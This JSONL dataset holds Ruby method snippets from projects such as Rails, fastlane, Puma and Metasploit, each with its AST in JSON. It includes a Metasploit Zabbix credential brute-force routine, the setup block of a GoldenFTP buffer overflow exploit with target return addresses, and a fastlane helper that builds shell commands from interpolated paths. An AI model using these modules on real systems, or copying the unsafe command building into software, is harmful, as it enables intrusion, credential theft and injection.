{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/relation/load_async_test.rb","start_line":465,"raw_source":"def test_load_async_from_transaction\n        posts = nil\n        Post.transaction do\n          Post.where(author_id: 1).update_all(title: \"In Transaction\")\n          posts = Post.where(author_id: 1).load_async\n          assert_predicate posts, :scheduled?\n          assert_predicate posts, :loaded?\n          raise ActiveRecord::Rollback\n        end\n\n        assert_not_nil posts\n        assert_equal [\"In Transaction\"], posts.map(&:title).uniq\n      end","complexity_score":20.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_load_async_from_transaction\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"posts\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"transaction\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"author_id\"]},{\"type\":\"int\",\"children\":[1]}]}]}]},\"update_all\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"str\",\"children\":[\"In Transaction\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"posts\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"author_id\"]},{\"type\":\"int\",\"children\":[1]}]}]}]},\"load_async\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"lvar\",\"children\":[\"posts\"]},{\"type\":\"sym\",\"children\":[\"scheduled?\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"lvar\",\"children\":[\"posts\"]},{\"type\":\"sym\",\"children\":[\"loaded?\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Rollback\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_nil\",{\"type\":\"lvar\",\"children\":[\"posts\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"In Transaction\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"posts\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]}]}]},\"uniq\"]}]}]}]}","id":"b0f52043-ff2d-4538-b111-98b04226764a"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane_core/lib/fastlane_core/helper.rb","start_line":319,"raw_source":"def self.zip_directory(path, output_path, contents_only: false, overwrite: false, print: true)\n      if overwrite\n        overwrite_command = \" && rm -f '#{output_path}'\"\n      else\n        overwrite_command = \"\"\n      end\n\n      if contents_only\n        command = \"cd '#{path}'#{overwrite_command} && zip -r '#{output_path}' *\"\n      else\n        containing_path = File.expand_path(\"..\", path)\n        contents_path = File.basename(path)\n\n        command = \"cd '#{containing_path}'#{overwrite_command} && zip -r '#{output_path}' '#{contents_path}'\"\n      end\n\n      UI.command(command) unless print\n      Helper.backticks(command, print: print)\n    end","complexity_score":14.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"zip_directory\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]},{\"type\":\"arg\",\"children\":[\"output_path\"]},{\"type\":\"kwoptarg\",\"children\":[\"contents_only\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"overwrite\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"print\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"overwrite\"]},{\"type\":\"lvasgn\",\"children\":[\"overwrite_command\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" && rm -f '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output_path\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"overwrite_command\",{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"contents_only\"]},{\"type\":\"lvasgn\",\"children\":[\"command\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"cd '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"str\",\"children\":[\"'\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"overwrite_command\"]}]},{\"type\":\"str\",\"children\":[\" && zip -r '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output_path\"]}]},{\"type\":\"str\",\"children\":[\"' *\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"containing_path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"expand_path\",{\"type\":\"str\",\"children\":[\"..\"]},{\"type\":\"lvar\",\"children\":[\"path\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"contents_path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"basename\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"command\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"cd '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"containing_path\"]}]},{\"type\":\"str\",\"children\":[\"'\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"overwrite_command\"]}]},{\"type\":\"str\",\"children\":[\" && zip -r '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output_path\"]}]},{\"type\":\"str\",\"children\":[\"' '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"contents_path\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"print\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"command\",{\"type\":\"lvar\",\"children\":[\"command\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Helper\"]},\"backticks\",{\"type\":\"lvar\",\"children\":[\"command\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"print\"]},{\"type\":\"lvar\",\"children\":[\"print\"]}]}]}]}]}]}","id":"51f04550-474e-408f-a4cd-437351d213e7"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/test/apps/rails5.2/lib/shell.rb","start_line":106,"raw_source":"def escaped_string_concatenation\n    system(\"echo \" + Shellwords.escape(foo))\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"escaped_string_concatenation\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"system\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"echo \"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Shellwords\"]},\"escape\",{\"type\":\"send\",\"children\":[null,\"foo\"]}]}]}]}]}","id":"11b33d96-83bc-458b-ae73-b8539b4a3f69"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/zabbix_login.rb","start_line":59,"raw_source":"def bruteforce(ip)\n    @scanner.scan! do |result|\n      case result.status\n      when Metasploit::Model::Login::Status::SUCCESSFUL\n        print_brute :level => :good, :ip => ip, :msg => \"Success: '#{result.credential}'\"\n        do_report(ip, rport, result)\n        :next_user\n      when Metasploit::Model::Login::Status::DENIED_ACCESS\n        print_brute :level => :status, :ip => ip, :msg => \"Correct credentials, but unable to login: '#{result.credential}'\"\n        do_report(ip, rport, result)\n        :next_user\n      when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT\n        if datastore['VERBOSE']\n          print_brute :level => :verror, :ip => ip, :msg => \"Could not connect\"\n        end\n        invalidate_login(\n          address: ip,\n          port: rport,\n          protocol: 'tcp',\n          public: result.credential.public,\n          private: result.credential.private,\n          realm_key: result.credential.realm_key,\n          realm_value: result.credential.realm,\n          status: result.status\n        )\n        :abort\n      when Metasploit::Model::Login::Status::INCORRECT\n        if datastore['VERBOSE']\n          print_brute :level => :verror, :ip => ip, :msg => \"Failed: '#{result.credential}'\"\n        end\n        invalidate_login(\n          address: ip,\n          port: rport,\n          protocol: 'tcp',\n          public: result.credential.public,\n          private: result.credential.private,\n          realm_key: result.credential.realm_key,\n          realm_value: result.credential.realm,\n          status: result.status\n        )\n      end\n    end\n  end","complexity_score":67.0,"ast_json":"{\"type\":\"def\",\"children\":[\"bruteforce\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ip\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@scanner\"]},\"scan!\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"result\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"status\"]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasploit\"]},\"Model\"]},\"Login\"]},\"Status\"]},\"SUCCESSFUL\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_brute\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"level\"]},{\"type\":\"sym\",\"children\":[\"good\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ip\"]},{\"type\":\"lvar\",\"children\":[\"ip\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"msg\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Success: '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"credential\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"do_report\",{\"type\":\"lvar\",\"children\":[\"ip\"]},{\"type\":\"send\",\"children\":[null,\"rport\"]},{\"type\":\"lvar\",\"children\":[\"result\"]}]},{\"type\":\"sym\",\"children\":[\"next_user\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasploit\"]},\"Model\"]},\"Login\"]},\"Status\"]},\"DENIED_ACCESS\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_brute\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"level\"]},{\"type\":\"sym\",\"children\":[\"status\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ip\"]},{\"type\":\"lvar\",\"children\":[\"ip\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"msg\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Correct credentials, but unable to login: '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"credential\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"do_report\",{\"type\":\"lvar\",\"children\":[\"ip\"]},{\"type\":\"send\",\"children\":[null,\"rport\"]},{\"type\":\"lvar\",\"children\":[\"result\"]}]},{\"type\":\"sym\",\"children\":[\"next_user\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasploit\"]},\"Model\"]},\"Login\"]},\"Status\"]},\"UNABLE_TO_CONNECT\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"VERBOSE\"]}]},{\"type\":\"send\",\"children\":[null,\"print_brute\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"level\"]},{\"type\":\"sym\",\"children\":[\"verror\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ip\"]},{\"type\":\"lvar\",\"children\":[\"ip\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"msg\"]},{\"type\":\"str\",\"children\":[\"Could not connect\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"invalidate_login\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"address\"]},{\"type\":\"lvar\",\"children\":[\"ip\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"protocol\"]},{\"type\":\"str\",\"children\":[\"tcp\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"public\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"credential\"]},\"public\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"private\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"credential\"]},\"private\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"realm_key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"credential\"]},\"realm_key\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"realm_value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"credential\"]},\"realm\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"status\"]}]}]}]},{\"type\":\"sym\",\"children\":[\"abort\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasploit\"]},\"Model\"]},\"Login\"]},\"Status\"]},\"INCORRECT\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"VERBOSE\"]}]},{\"type\":\"send\",\"children\":[null,\"print_brute\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"level\"]},{\"type\":\"sym\",\"children\":[\"verror\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ip\"]},{\"type\":\"lvar\",\"children\":[\"ip\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"msg\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Failed: '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"credential\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"invalidate_login\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"address\"]},{\"type\":\"lvar\",\"children\":[\"ip\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"protocol\"]},{\"type\":\"str\",\"children\":[\"tcp\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"public\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"credential\"]},\"public\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"private\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"credential\"]},\"private\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"realm_key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"credential\"]},\"realm_key\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"realm_value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"credential\"]},\"realm\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"status\"]}]}]}]}]}]},null]}]}]}","id":"dd0d53f4-dbfe-4657-a754-8a1b976a1743"}
{"repo_name":"puma","file_path":"./repos/puma/test/test_puma_server.rb","start_line":1845,"raw_source":"def test_accept_emfile\n    stub_accept_nonblock Errno::EMFILE.new('accept(2)')\n    sleep 0.1 if Puma::IS_WINDOWS && Puma::IS_ARM\n    refute_empty @log_writer.stderr.string, \"Expected EMFILE error not logged\"\n  end","complexity_score":9.23,"ast_json":"{\"type\":\"def\",\"children\":[\"test_accept_emfile\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"stub_accept_nonblock\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Errno\"]},\"EMFILE\"]},\"new\",{\"type\":\"str\",\"children\":[\"accept(2)\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Puma\"]},\"IS_WINDOWS\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Puma\"]},\"IS_ARM\"]}]},{\"type\":\"send\",\"children\":[null,\"sleep\",{\"type\":\"float\",\"children\":[0.1]}]},null]},{\"type\":\"send\",\"children\":[null,\"refute_empty\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@log_writer\"]},\"stderr\"]},\"string\"]},{\"type\":\"str\",\"children\":[\"Expected EMFILE error not logged\"]}]}]}]}","id":"475df24f-c96e-425c-8fe6-4a5f64e57fd6"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/contracts/emoji_reactions/base_contract.rb","start_line":55,"raw_source":"def validate_reactable_exists\n      errors.add :reactable, :not_found if model.reactable.blank?\n    end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_reactable_exists\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"reactable\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"reactable\"]},{\"type\":\"sym\",\"children\":[\"not_found\"]}]},null]}]}","id":"4fb95c89-79c0-4a64-b151-6afd8dc99c0a"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/ftp/goldenftp_pass_bof.rb","start_line":11,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'GoldenFTP PASS Stack Buffer Overflow',\n        'Description' => %q{\n          This module exploits a vulnerability in the Golden FTP service, using the PASS\n          command to cause a buffer overflow.  Please note that in order trigger the vulnerable\n          code, the victim machine must have the \"Show new connections\" setting enabled.  By\n          default, this option is unchecked.\n        },\n        'Author' => [\n          'Craig Freyman', # Initial poc on exploit-db with iglesiasgg\n          'bannedit', # Initial msf module\n          'Joff Thyer <jsthyer[at]gmail.com>', # Improved msf version\n        ],\n        'License' => MSF_LICENSE,\n        'References' => [\n          [ 'CVE', '2006-6576'],\n          [ 'OSVDB', '35951'],\n          [ 'BID', '45957'],\n          [ 'EDB', '16036'],\n        ],\n        'DefaultOptions' => {\n          'EXITFUNC' => 'seh',\n        },\n        'Privileged' => false,\n        'Payload' => {\n          'Space' => 440,\n          'BadChars' => \"\\x00\\x0a\\x0d\",\n        },\n        'Platform' => ['win'],\n        'Targets' => [\n          [ 'Windows XP Pro SP3', { 'Ret' => 0x7E45AE4E, } ], # JMP ESI USER32.dll\n          [ 'Windows XP Pro SP2', { 'Ret' => 0x77D4E23B, } ],     # JMP ESI USER32.dll\n          [ 'Windows XP Pro SP0/SP1', { 'Ret' => 0x77e8157b, } ]  # JMP ESI kernel32.dll\n        ],\n        'DisclosureDate' => '2011-01-23',\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"GoldenFTP PASS Stack Buffer Overflow\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits a vulnerability in the Golden FTP service, using the PASS\\n\"]},{\"type\":\"str\",\"children\":[\"          command to cause a buffer overflow.  Please note that in order trigger the vulnerable\\n\"]},{\"type\":\"str\",\"children\":[\"          code, the victim machine must have the \\\"Show new connections\\\" setting enabled.  By\\n\"]},{\"type\":\"str\",\"children\":[\"          default, this option is unchecked.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Craig Freyman\"]},{\"type\":\"str\",\"children\":[\"bannedit\"]},{\"type\":\"str\",\"children\":[\"Joff Thyer <jsthyer[at]gmail.com>\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2006-6576\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"35951\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"BID\"]},{\"type\":\"str\",\"children\":[\"45957\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"EDB\"]},{\"type\":\"str\",\"children\":[\"16036\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"EXITFUNC\"]},{\"type\":\"str\",\"children\":[\"seh\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Space\"]},{\"type\":\"int\",\"children\":[440]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"BadChars\"]},{\"type\":\"str\",\"children\":[\"\\u0000\\n\\r\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"win\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows XP Pro SP3\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"int\",\"children\":[2118495822]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows XP Pro SP2\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"int\",\"children\":[2010440251]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows XP Pro SP0/SP1\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"int\",\"children\":[2011698555]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2011-01-23\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]}]}","id":"330991ff-1fa1-46a1-b7b1-6b7f9f308c77"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/components/projects/index_page_header_component.rb","start_line":81,"raw_source":"def may_save_as? = current_user.logged?","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"may_save_as?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"logged?\"]}]}","id":"86e8b0e7-f1d8-47b4-8062-80ab02c181a2"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/tasks/database_tasks_test.rb","start_line":729,"raw_source":"def test_creates_test_and_development_databases_when_env_was_not_specified\n      with_stubbed_configurations_establish_connection do\n        assert_called_for_configs(\n          :create,\n          [\n            [config_for(\"development\", \"primary\")],\n            [config_for(\"development\", \"secondary\")],\n            [config_for(\"test\", \"primary\")],\n            [config_for(\"test\", \"secondary\")]\n          ]\n        ) do\n          ActiveRecord::Tasks::DatabaseTasks.create_current(\n            ActiveSupport::StringInquirer.new(\"development\")\n          )\n        end\n      end\n    